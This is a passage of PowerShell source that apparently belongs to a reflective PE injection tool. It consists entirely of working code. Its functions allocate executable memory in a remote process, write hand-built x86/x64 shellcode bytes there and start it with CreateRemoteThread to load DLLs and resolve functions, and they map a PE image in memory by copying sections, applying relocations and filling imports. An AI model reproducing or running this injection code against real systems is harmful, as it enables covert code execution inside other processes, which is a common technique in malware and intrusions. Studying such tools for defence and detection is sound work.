			$PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr
		}
		else
		{
			[IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS32)))
			$PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr
		}

		if (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_DLL) -eq $Win32Constants.IMAGE_FILE_DLL)
		{
			$PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'DLL'
		}
		elseif (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) -eq $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE)
		{
			$PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'EXE'
		}
		else
		{
			Throw "PE file is not an EXE or DLL"
		}

		return $PEInfo
	}


	Function Import-DllInRemoteProcess
	{
		Param(
		[Parameter(Position=0, Mandatory=$true)]
		[IntPtr]
		$RemoteProcHandle,

		[Parameter(Position=1, Mandatory=$true)]
		[IntPtr]
		$ImportDllPathPtr
		)

		$PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])

		$ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr)
		$DllPathSize = [UIntPtr][UInt64]([UInt64]$ImportDllPath.Length + 1)
		$RImportDllPathPtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
		if ($RImportDllPathPtr -eq [IntPtr]::Zero)
		{
			Throw "Unable to allocate memory in the remote process"
		}

		[UIntPtr]$NumBytesWritten = [UIntPtr]::Zero
		$Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RImportDllPathPtr, $ImportDllPathPtr, $DllPathSize, [Ref]$NumBytesWritten)

		if ($Success -eq $false)
		{
			Throw "Unable to write DLL path to remote process memory"
		}
		if ($DllPathSize -ne $NumBytesWritten)
		{
			Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process"
		}

		$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll")
		$LoadLibraryAAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "LoadLibraryA")

		[IntPtr]$DllAddress = [IntPtr]::Zero


		if ($PEInfo.PE64Bit -eq $true)
		{

			$LoadLibraryARetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
			if ($LoadLibraryARetMem -eq [IntPtr]::Zero)
			{
				Throw "Unable to allocate memory in the remote process for the return value of LoadLibraryA"
			}



			$LoadLibrarySC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9)
			$LoadLibrarySC2 = @(0x48, 0xba)
			$LoadLibrarySC3 = @(0xff, 0xd2, 0x48, 0xba)
			$LoadLibrarySC4 = @(0x48, 0x89, 0x02, 0x48, 0x89, 0xdc, 0x5b, 0xc3)

			$SCLength = $LoadLibrarySC1.Length + $LoadLibrarySC2.Length + $LoadLibrarySC3.Length + $LoadLibrarySC4.Length + ($PtrSize * 3)
			$SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength)
			$SCPSMemOriginal = $SCPSMem

			Write-BytesToMemory -Bytes $LoadLibrarySC1 -MemoryAddress $SCPSMem
			$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC1.Length)
			[System.Runtime.InteropServices.Marshal]::StructureToPtr($RImportDllPathPtr, $SCPSMem, $false)
			$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
			Write-BytesToMemory -Bytes $LoadLibrarySC2 -MemoryAddress $SCPSMem
			$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC2.Length)
			[System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryAAddr, $SCPSMem, $false)
			$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
			Write-BytesToMemory -Bytes $LoadLibrarySC3 -MemoryAddress $SCPSMem
			$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC3.Length)
			[System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryARetMem, $SCPSMem, $false)
			$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
			Write-BytesToMemory -Bytes $LoadLibrarySC4 -MemoryAddress $SCPSMem
			$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC4.Length)


			$RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
			if ($RSCAddr -eq [IntPtr]::Zero)
			{
				Throw "Unable to allocate memory in the remote process for shellcode"
			}

			$Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten)
			if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength))
			{
				Throw "Unable to write shellcode to remote process memory."
			}

			$RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions
			$Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
			if ($Result -ne 0)
			{
				Throw "Call to CreateRemoteThread to call GetProcAddress failed."
			}


			[IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
			$Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $LoadLibraryARetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten)
			if ($Result -eq $false)
			{
				Throw "Call to ReadProcessMemory failed"
			}
			[IntPtr]$DllAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr])

			$Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $LoadLibraryARetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
			$Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
		}
		else
		{
			[IntPtr]$RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $LoadLibraryAAddr -ArgumentPtr $RImportDllPathPtr -Win32Functions $Win32Functions
			$Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
			if ($Result -ne 0)
			{
				Throw "Call to CreateRemoteThread to call GetProcAddress failed."
			}

			[Int32]$ExitCode = 0
			$Result = $Win32Functions.GetExitCodeThread.Invoke($RThreadHandle, [Ref]$ExitCode)
			if (($Result -eq 0) -or ($ExitCode -eq 0))
			{
				Throw "Call to GetExitCodeThread failed"
			}

			[IntPtr]$DllAddress = [IntPtr]$ExitCode
		}

		$Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RImportDllPathPtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null

		return $DllAddress
	}


	Function Get-RemoteProcAddress
	{
		Param(
		[Parameter(Position=0, Mandatory=$true)]
		[IntPtr]
		$RemoteProcHandle,

		[Parameter(Position=1, Mandatory=$true)]
		[IntPtr]
		$RemoteDllHandle,

		[Parameter(Position=2, Mandatory=$true)]
		[IntPtr]
		$FunctionNamePtr,

        [Parameter(Position=3, Mandatory=$true)]
        [Bool]
        $LoadByOrdinal
		)

		$PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])

		[IntPtr]$RFuncNamePtr = [IntPtr]::Zero

        if (-not $LoadByOrdinal)
        {
        	$FunctionName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($FunctionNamePtr)


		    $FunctionNameSize = [UIntPtr][UInt64]([UInt64]$FunctionName.Length + 1)
		    $RFuncNamePtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $FunctionNameSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
		    if ($RFuncNamePtr -eq [IntPtr]::Zero)
		    {
			    Throw "Unable to allocate memory in the remote process"
		    }

		    [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero
		    $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RFuncNamePtr, $FunctionNamePtr, $FunctionNameSize, [Ref]$NumBytesWritten)
		    if ($Success -eq $false)
		    {
			    Throw "Unable to write DLL path to remote process memory"
		    }
		    if ($FunctionNameSize -ne $NumBytesWritten)
		    {
			    Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process"
		    }
        }

        else
        {
            $RFuncNamePtr = $FunctionNamePtr
        }


		$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll")
		$GetProcAddressAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "GetProcAddress")



		$GetProcAddressRetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UInt64][UInt64]$PtrSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
		if ($GetProcAddressRetMem -eq [IntPtr]::Zero)
		{
			Throw "Unable to allocate memory in the remote process for the return value of GetProcAddress"
		}




		[Byte[]]$GetProcAddressSC = @()
		if ($PEInfo.PE64Bit -eq $true)
		{
			$GetProcAddressSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9)
			$GetProcAddressSC2 = @(0x48, 0xba)
			$GetProcAddressSC3 = @(0x48, 0xb8)
			$GetProcAddressSC4 = @(0xff, 0xd0, 0x48, 0xb9)
			$GetProcAddressSC5 = @(0x48, 0x89, 0x01, 0x48, 0x89, 0xdc, 0x5b, 0xc3)
		}
		else
		{
			$GetProcAddressSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xc0, 0xb8)
			$GetProcAddressSC2 = @(0xb9)
			$GetProcAddressSC3 = @(0x51, 0x50, 0xb8)
			$GetProcAddressSC4 = @(0xff, 0xd0, 0xb9)
			$GetProcAddressSC5 = @(0x89, 0x01, 0x89, 0xdc, 0x5b, 0xc3)
		}
		$SCLength = $GetProcAddressSC1.Length + $GetProcAddressSC2.Length + $GetProcAddressSC3.Length + $GetProcAddressSC4.Length + $GetProcAddressSC5.Length + ($PtrSize * 4)
		$SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength)
		$SCPSMemOriginal = $SCPSMem

		Write-BytesToMemory -Bytes $GetProcAddressSC1 -MemoryAddress $SCPSMem
		$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC1.Length)
		[System.Runtime.InteropServices.Marshal]::StructureToPtr($RemoteDllHandle, $SCPSMem, $false)
		$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
		Write-BytesToMemory -Bytes $GetProcAddressSC2 -MemoryAddress $SCPSMem
		$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC2.Length)
		[System.Runtime.InteropServices.Marshal]::StructureToPtr($RFuncNamePtr, $SCPSMem, $false)
		$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
		Write-BytesToMemory -Bytes $GetProcAddressSC3 -MemoryAddress $SCPSMem
		$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC3.Length)
		[System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressAddr, $SCPSMem, $false)
		$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
		Write-BytesToMemory -Bytes $GetProcAddressSC4 -MemoryAddress $SCPSMem
		$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC4.Length)
		[System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressRetMem, $SCPSMem, $false)
		$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
		Write-BytesToMemory -Bytes $GetProcAddressSC5 -MemoryAddress $SCPSMem
		$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC5.Length)

		$RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
		if ($RSCAddr -eq [IntPtr]::Zero)
		{
			Throw "Unable to allocate memory in the remote process for shellcode"
		}
		[UIntPtr]$NumBytesWritten = [UIntPtr]::Zero
		$Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten)
		if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength))
		{
			Throw "Unable to write shellcode to remote process memory."
		}

		$RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions
		$Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
		if ($Result -ne 0)
		{
			Throw "Call to CreateRemoteThread to call GetProcAddress failed."
		}


		[IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
		$Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $GetProcAddressRetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten)
		if (($Result -eq $false) -or ($NumBytesWritten -eq 0))
		{
			Throw "Call to ReadProcessMemory failed"
		}
		[IntPtr]$ProcAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr])


		$Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
		$Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $GetProcAddressRetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null

        if (-not $LoadByOrdinal)
        {
            $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RFuncNamePtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
        }

		return $ProcAddress
	}


	Function Copy-Sections
	{
		Param(
		[Parameter(Position = 0, Mandatory = $true)]
		[Byte[]]
		$PEBytes,

		[Parameter(Position = 1, Mandatory = $true)]
		[System.Object]
		$PEInfo,

		[Parameter(Position = 2, Mandatory = $true)]
		[System.Object]
		$Win32Functions,

		[Parameter(Position = 3, Mandatory = $true)]
		[System.Object]
		$Win32Types
		)

		for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++)
		{
			[IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER)))
			$SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER)


			[IntPtr]$SectionDestAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$SectionHeader.VirtualAddress))





			$SizeOfRawData = $SectionHeader.SizeOfRawData

			if ($SectionHeader.PointerToRawData -eq 0)
			{
				$SizeOfRawData = 0
			}

			if ($SizeOfRawData -gt $SectionHeader.VirtualSize)
			{
				$SizeOfRawData = $SectionHeader.VirtualSize
			}

			if ($SizeOfRawData -gt 0)
			{
				Test-MemoryRangeValid -DebugString "Copy-Sections::MarshalCopy" -PEInfo $PEInfo -StartAddress $SectionDestAddr -Size $SizeOfRawData | Out-Null
				[System.Runtime.InteropServices.Marshal]::Copy($PEBytes, [Int32]$SectionHeader.PointerToRawData, $SectionDestAddr, $SizeOfRawData)
			}


			if ($SectionHeader.SizeOfRawData -lt $SectionHeader.VirtualSize)
			{
				$Difference = $SectionHeader.VirtualSize - $SizeOfRawData
				[IntPtr]$StartAddress = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$SectionDestAddr) ([Int64]$SizeOfRawData))
				Test-MemoryRangeValid -DebugString "Copy-Sections::Memset" -PEInfo $PEInfo -StartAddress $StartAddress -Size $Difference | Out-Null
				$Win32Functions.memset.Invoke($StartAddress, 0, [IntPtr]$Difference) | Out-Null
			}
		}
	}


	Function Update-MemoryAddresses
	{
		Param(
		[Parameter(Position = 0, Mandatory = $true)]
		[System.Object]
		$PEInfo,

		[Parameter(Position = 1, Mandatory = $true)]
		[Int64]
		$OriginalImageBase,

		[Parameter(Position = 2, Mandatory = $true)]
		[System.Object]
		$Win32Constants,

		[Parameter(Position = 3, Mandatory = $true)]
		[System.Object]
		$Win32Types
		)

		[Int64]$BaseDifference = 0
		$AddDifference = $true
		[UInt32]$ImageBaseRelocSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_BASE_RELOCATION)


		if (($OriginalImageBase -eq [Int64]$PEInfo.EffectivePEHandle) `
				-or ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.Size -eq 0))
		{
			return
		}


		elseif ((Compare-Val1GreaterThanVal2AsUInt ($OriginalImageBase) ($PEInfo.EffectivePEHandle)) -eq $true)
		{
			$BaseDifference = Sub-SignedIntAsUnsigned ($OriginalImageBase) ($PEInfo.EffectivePEHandle)
			$AddDifference = $false
		}
		elseif ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.EffectivePEHandle) ($OriginalImageBase)) -eq $true)
		{
			$BaseDifference = Sub-SignedIntAsUnsigned ($PEInfo.EffectivePEHandle) ($OriginalImageBase)
		}


		[IntPtr]$BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.VirtualAddress))
		while($true)
		{

			$BaseRelocationTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($BaseRelocPtr, [Type]$Win32Types.IMAGE_BASE_RELOCATION)

			if ($BaseRelocationTable.SizeOfBlock -eq 0)
			{
				break
			}

			[IntPtr]$MemAddrBase = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$BaseRelocationTable.VirtualAddress))
			$NumRelocations = ($BaseRelocationTable.SizeOfBlock - $ImageBaseRelocSize) / 2


			for($i = 0; $i -lt $NumRelocations; $i++)
			{

				$RelocationInfoPtr = [IntPtr](Add-SignedIntAsUnsigned ([IntPtr]$BaseRelocPtr) ([Int64]$ImageBaseRelocSize + (2 * $i)))
				[UInt16]$RelocationInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($RelocationInfoPtr, [Type][UInt16])


				[UInt16]$RelocOffset = $RelocationInfo -band 0x0FFF
				[UInt16]$RelocType = $RelocationInfo -band 0xF000
				for ($j = 0; $j -lt 12; $j++)
				{
					$RelocType = [Math]::Floor($RelocType / 2)
				}




				if (($RelocType -eq $Win32Constants.IMAGE_REL_BASED_HIGHLOW) `
						-or ($RelocType -eq $Win32Constants.IMAGE_REL_BASED_DIR64))
				{

					[IntPtr]$FinalAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$MemAddrBase) ([Int64]$RelocOffset))
					[IntPtr]$CurrAddr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FinalAddr, [Type][IntPtr])

					if ($AddDifference -eq $true)
					{
						[IntPtr]$CurrAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference))
					}
					else
					{
						[IntPtr]$CurrAddr = [IntPtr](Sub-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference))
					}

					[System.Runtime.InteropServices.Marshal]::StructureToPtr($CurrAddr, $FinalAddr, $false) | Out-Null
				}
				elseif ($RelocType -ne $Win32Constants.IMAGE_REL_BASED_ABSOLUTE)
				{

					Throw "Unknown relocation found, relocation value: $RelocType, relocationinfo: $RelocationInfo"
				}
			}

			$BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$BaseRelocPtr) ([Int64]$BaseRelocationTable.SizeOfBlock))
		}
	}


	Function Import-DllImports
	{
		Param(
		[Parameter(Position = 0, Mandatory = $true)]
		[System.Object]
		$PEInfo,

		[Parameter(Position = 1, Mandatory = $true)]
		[System.Object]
		$Win32Functions,

		[Parameter(Position = 2, Mandatory = $true)]
		[System.Object]
		$Win32Types,

		[Parameter(Position = 3, Mandatory = $true)]
		[System.Object]
		$Win32Constants,

		[Parameter(Position = 4, Mandatory = $false)]
		[IntPtr]
		$RemoteProcHandle
		)

		$RemoteLoading = $false
		if ($PEInfo.PEHandle -ne $PEInfo.EffectivePEHandle)
		{
			$RemoteLoading = $true
		}

		if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0)
		{
			[IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress)

			while ($true)
			{
				$ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)


				if ($ImportDescriptor.Characteristics -eq 0 `
						-and $ImportDescriptor.FirstThunk -eq 0 `
						-and $ImportDescriptor.ForwarderChain -eq 0 `
						-and $ImportDescriptor.Name -eq 0 `
						-and $ImportDescriptor.TimeDateStamp -eq 0)
				{
					Write-Verbose "Done importing DLL imports"
					break
				}

				$ImportDllHandle = [IntPtr]::Zero
				$ImportDllPathPtr = (Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name))
				$ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr)

				if ($RemoteLoading -eq $true)
				{
					$ImportDllHandle = Import-DllInRemoteProcess -RemoteProcHandle $RemoteProcHandle -ImportDllPathPtr $ImportDllPathPtr
				}
				else
				{
					$ImportDllHandle = $Win32Functions.LoadLibrary.Invoke($ImportDllPath)
				}

				if (($ImportDllHandle -eq $null) -or ($ImportDllHandle -eq [IntPtr]::Zero))
				{
					throw "Error importing DLL, DLLName: $ImportDllPath"
				}


				[IntPtr]$ThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.FirstThunk)
				[IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.Characteristics)
				[IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr])

				while ($OriginalThunkRefVal -ne [IntPtr]::Zero)
				{
                    $LoadByOrdinal = $false
                    [IntPtr]$ProcedureNamePtr = [IntPtr]::Zero



					[IntPtr]$NewThunkRef = [IntPtr]::Zero
					if([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4 -and [Int32]$OriginalThunkRefVal -lt 0)
					{
						[IntPtr]$ProcedureNamePtr = [IntPtr]$OriginalThunkRefVal -band 0xffff
                        $LoadByOrdinal = $true
					}
                    elseif([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 8 -and [Int64]$OriginalThunkRefVal -lt 0)
					{
						[IntPtr]$ProcedureNamePtr = [Int64]$OriginalThunkRefVal -band 0xffff
                        $LoadByOrdinal = $true
					}
					else
					{
						[IntPtr]$StringAddr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($OriginalThunkRefVal)
						$StringAddr = Add-SignedIntAsUnsigned $StringAddr ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16]))
						$ProcedureName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($StringAddr)
                        $ProcedureNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ProcedureName)
					}

					if ($RemoteLoading -eq $true)
					{
						[IntPtr]$NewThunkRef = Get-RemoteProcAddress -RemoteProcHandle $RemoteProcHandle -RemoteDllHandle $ImportDllHandle -FunctionNamePtr $ProcedureNamePtr -LoadByOrdinal $LoadByOrdinal
					}
					else
					{
				        [IntPtr]$NewThunkRef = $Win32Functions.GetProcAddressIntPtr.Invoke($ImportDllHandle, $ProcedureNamePtr)
					}

					if ($NewThunkRef -eq $null -or $NewThunkRef -eq [IntPtr]::Zero)
					{
                        if ($LoadByOrdinal)
                        {
                            Throw "New function reference is null, this is almost certainly a bug in this script. Function Ordinal: $ProcedureNamePtr. Dll: $ImportDllPath"
                        }
                        else
                        {
						    Throw "New function reference is null, this is almost certainly a bug in this script. Function: $ProcedureName. Dll: $ImportDllPath"
                        }
					}

					[System.Runtime.InteropServices.Marshal]::StructureToPtr($NewThunkRef, $ThunkRef, $false)

					$ThunkRef = Add-SignedIntAsUnsigned ([Int64]$ThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]))
					[IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ([Int64]$OriginalThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]))
					[IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr])



                    if ((-not $LoadByOrdinal) -and ($ProcedureNamePtr -ne [IntPtr]::Zero))
                    {
                        [System.Runtime.InteropServices.Marshal]::FreeHGlobal($ProcedureNamePtr)
                        $ProcedureNamePtr = [IntPtr]::Zero
                    }
				}

				$ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR))
			}
		}
	}

	Function Get-VirtualProtectValue
	{
		Param(
		[Parameter(Position = 0, Mandatory = $true)]
		[UInt32]
		$SectionCharacteristics
		)

		$ProtectionFlag = 0x0
		if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_EXECUTE) -gt 0)
		{
			if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0)
			{
				if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
				{
					$ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READWRITE
				}
				else
				{
					$ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READ
				}
			}
			else
			{
				if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
				{
					$ProtectionFlag = $Win32Constants.PAGE_EXECUTE_WRITECOPY
				}
				else
				{
					$ProtectionFlag = $Win32Constants.PAGE_EXECUTE
				}
			}
		}
		else
		{
			if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0)
			{
				if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
				{
					$ProtectionFlag = $Win32Constants.PAGE_READWRITE
				}
				else
				{
					$ProtectionFlag = $Win32Constants.PAGE_READONLY
				}
			}
			else
			{
				if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
				{
					$ProtectionFlag = $Win32Constants.PAGE_WRITECOPY
				}
				else
				{
					$ProtectionFlag = $Win32Constants.PAGE_NOACCESS
				}
			}
		}

		if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_NOT_CACHED) -gt 0)
		{
			$ProtectionFlag = $ProtectionFlag -bor $Win32Constants.PAGE_NOCACHE
		}

		return $ProtectionFlag
	}

	Function Update-MemoryProtectionFlags
	{
		Param(
		[Parameter(Position = 0, Mandatory = $true)]
		[System.Object]
		$PEInfo,

		[Parameter(Position = 1, Mandatory = $true)]
		[System.Object]
		$Win32Functions,

		[Parameter(Position = 2, Mandatory = $true)]
		[System.Object]
		$Win32Constants,

		[Parameter(Position = 3, Mandatory = $true)]
		[System.Object]
		$Win32Types
		)

		for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++)
		{
			[IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER)))
			$SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER)
